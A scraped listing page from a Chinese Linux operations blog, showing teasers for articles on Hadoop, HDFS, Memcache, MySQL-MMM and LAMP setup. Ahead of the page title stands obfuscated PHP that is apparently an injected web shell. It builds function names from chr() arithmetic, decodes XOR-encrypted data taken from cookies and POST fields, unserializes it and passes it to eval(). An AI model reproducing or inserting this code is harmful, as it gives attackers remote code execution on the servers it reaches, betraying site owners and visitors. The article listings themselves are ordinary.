$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} s19930811 | 第10页 | Linux运维部落

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  • HDFS写入和读取流程

    一、HDFS HDFS全称是Hadoop Distributed System。HDFS是为以流的方式存取大文件而设计的。适用于几百MB，GB以及TB，并写一次读多次的场合。而对于低延时数据访问、大量小文件、同时写和任意的文件修改，则并不是十分适合。 目前HDFS支持的使用接口除了Java的还有，Thrift、C、FUSE、WebDAV、HTTP等。HDFS…

    Linux干货 2015-05-12

  • 网络互联参考模型（详解）

    网络互联参考模型 1. 什么是协议 为了使数据可以在网络上从源传递到目的地，网络上所有设备需要“讲”相同的“语言” 描述网络通信中“语言”规范的一组规则就是协议 例如：两个人交谈，必须使用相同的语言，如果你说汉语，他说阿拉伯语…… 数据通信协议的定义 决定数据的格式和传输的一组规则或者一组惯例 2. 协议分层 网络通信的过程很复杂： 数据以电子信号的形式穿越…

    Linux干货 2015-05-07

  • Memcache存储大数据的问题

    Memcache存储大数据的问题   huangguisu       Memcached存储单个item最大数据是在1MB内，如果数据超过1M,存取set和get是都是返回false，而且引起性能的问题。 我们之前对排行榜的数据进行缓存，由于排行榜在我们所有sql select…

    Linux干货 2015-05-05

  • MySQL-MMM安装指南(Multi-Master Replication Manager for MySQL)

    最基本的MMM安装必须至少需要2个数据库服务器和一个监控服务器下面要配置的MySQL Cluster环境包含四台数据库服务器和一台监控服务器，如下： function ip hostname server id monitoring host 192.168.0.10 mon – master 1 192.168.0.11 db1 1 maste…

    Linux干货 2015-05-01

  • lamp安装配置详细过程（把以前的笔记贴上来）

    准备; 首先进入/usr/local/目录 #cd /usr/local 删除所有安装过的php mysql apache 以及libxml 首先查看目前 /usr/local目录下面的内容 #ls –l 如果看到php5 php apache2 apache mysql mysql5 libxml libxml2字样的目录都将其删除具体命令如下 #rm –…

    Linux干货 2015-05-01

  • Hadoop集群配置（最全面总结）

    通常，集群里的一台机器被指定为 NameNode，另一台不同的机器被指定为JobTracker。这些机器是masters。余下的机器即作为DataNode也作为TaskTracker。这些机器是slaves\ 官方地址：(http://hadoop.apache.org/common/docs/r0.19.2/cn/cluster_setup.ht…

    Linux干货 2015-04-13

  • 谷歌三大核心技术（一）The Google File System中文版

    摘要 我们设计并实现了Google GFS文件系统，一个面向大规模数据密集型应用的、可伸缩的分布式文件系统。GFS虽然运行在廉价的普遍硬件设备上，但是它依然了提供灾难冗余的能力，为大量客户机提供了高性能的服务。 虽然GFS的设计目标与许多传统的分布式文件系统有很多相同之处，但是，我们的设计还是以我们对自己的应用的负载情况和技术环境的分析为基础的，不管现在还是…

    Linux干货 2015-04-13

  • 谷歌三大核心技术（二）Google MapReduce中文版

    摘要 MapReduce是一个编程模型，也是一个处理和生成超大数据集的算法模型的相关实现。用户首先创建一个Map函数处理一个基于key/value pair的数据集合，输出中间的基于key/value pair的数据集合；然后再创建一个Reduce函数用来合并所有的具有相同中间key值的中间value值。现实世界中有很多满足上述处理模型的例子，本论文将详细描…

    Linux干货 2015-04-13

  • hbase安装配置（整合到hadoop）

    1.  快速单击安装 在单机安装Hbase的方法。会引导你通过shell创建一个表，插入一行，然后删除它，最后停止Hbase。只要10分钟就可以完成以下的操作。 1.1下载解压最新版本 选择一个 Apache 下载镜像：http://www.apache.org/dyn/closer.cgi/hbase/，下载 HBase Re…

    Linux干货 2015-04-13

  • Hadoop简介

    Hadoop的概要介绍 Hadoop，是一个分布式系统基础架构，由Apache基金会开发。用户可以在不了解分布式底层细节的情况下，开发分布式程序。充分利用集群的威力高速运算和存储。 简单地说来，Hadoop是一个可以更容易开发和运行处理大规模数据的软件平台。该平台使用的是面向对象编程语言Java实现的，具有良好的可移植性。 Hadoop的发展历史 &nbsp…

    Linux干货 2015-04-13

  • Hadoop实战实例

     Hadoop 是Google MapReduce的一个Java实现。MapReduce是一种简化的分布式编程模式，让程序自动分布到一个由普通机器组成的超大集群上并发执行。就如同java程序员可以不考虑内存泄露一样， MapReduce的run-time系统会解决输入数据的分布细节，跨越机器集群的程序执行调度，处理机器…

    Linux干货 2015-04-13

  • 用PHP编写Hadoop的MapReduce程序

    Hadoop流 虽然Hadoop是用java写的，但是Hadoop提供了Hadoop流，Hadoop流提供一个API, 允许用户使用任何语言编写map函数和reduce函数.Hadoop流动关键是，它使用UNIX标准流作为程序与Hadoop之间的接口。因此，任何程序只要可以从标准输入流中读取数据，并且可以把数据写入标准输出流中，那么就可以通过Hadoop流使…

    Linux干货 2015-04-13

  • hadoop安全模式

    hadoop安全模式在分布式文件系统启动的时候，开始的时候会有安全模式，当分布式文件系统处于安全模式的情况下，文件系统中的内容不允许修改也不允许删除，直到安全模式结束。安全模式主要是为了系统启动的时候检查各个DataNode上数据块的有效性，同时根据策略必要的复制或者删除部分数据块。运行期通过命令也可以进入安全模式。在实践过程中，系统启动的时候去修改和删除文…

    Linux干货 2015-04-13

  • Hadoop Hive sql语法详解

    Hive 是基于Hadoop 构建的一套数据仓库分析系统，它提供了丰富的SQL查询方式来分析存储在Hadoop 分布式文件系统中的数据，可以将结构 化的数据文件映射为一张数据库表，并提供完整的SQL查询功能，可以将SQL语句转换为MapReduce任务进行运行，通过自己的SQL 去查询分析需 要的内容，这套SQL 简称Hive SQL，使不熟悉mapredu…

    Linux干货 2015-04-13

  • 谷歌三大核心技术（三）Google BigTable中文版

    摘要 Bigtable是一个分布式的结构化数据存储系统，它被设计用来处理海量数据：通常是分布在数千台普通服务器上的PB级的数据。Google的很多项目使用Bigtable存储数据，包括Web索引、Google Earth、Google Finance。这些应用对Bigtable提出的要求差异非常大，无论是在数据量上（从URL到网页到卫星图像）还是在响应速度上…

    Linux干货 2015-04-13
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